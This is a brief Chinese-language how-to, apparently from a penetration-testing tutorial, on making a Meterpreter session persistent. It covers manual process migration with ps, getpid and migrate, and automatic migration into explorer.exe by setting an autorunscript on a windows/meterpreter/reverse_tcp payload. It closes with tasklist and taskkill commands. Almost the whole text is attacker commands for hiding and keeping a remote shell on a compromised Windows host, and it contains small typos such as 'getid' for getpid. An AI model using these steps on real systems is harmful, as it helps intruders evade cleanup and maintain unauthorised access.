meterpreter作为一个进程时容易被清除,如果将它和系统经常运行的进程进行绑定,就能够实现持久化
1.进程迁移
- 在Meterpreter下输入ps(获取目标机正在运行的进程,记住目标进程的pid xxxx)
- 输入getpid命令(查看meterpreter shell的pid调到XXXX里相对稳定应用的进程里)
- 输入migrate xxxx (将meterpreter shell的pid调到xxxx里相对稳定应用的进程里)
- 最后用getid再次查看下是否更换成公
2.上线后自动化迁移指定进程
在set payload windows/meterpreter/reverse_tcp 和设置完端口和host,执行 set autorunscript migrate -n.explorer.exe
tasklist
taskkill /pid 1122